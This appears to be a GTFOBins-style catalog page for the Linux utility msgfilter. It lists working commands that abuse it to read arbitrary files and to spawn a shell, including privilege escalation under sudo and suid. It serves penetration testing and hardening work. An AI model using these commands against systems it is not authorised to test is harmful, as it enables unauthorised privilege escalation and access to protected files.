DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

msgfilter

6 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Context
unprivileged
Native
file-read
MITRE
T1005

shell

ExecutionPrivilege Escalation Linux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
Context
unprivileged
Native
shell
MITRE
T1059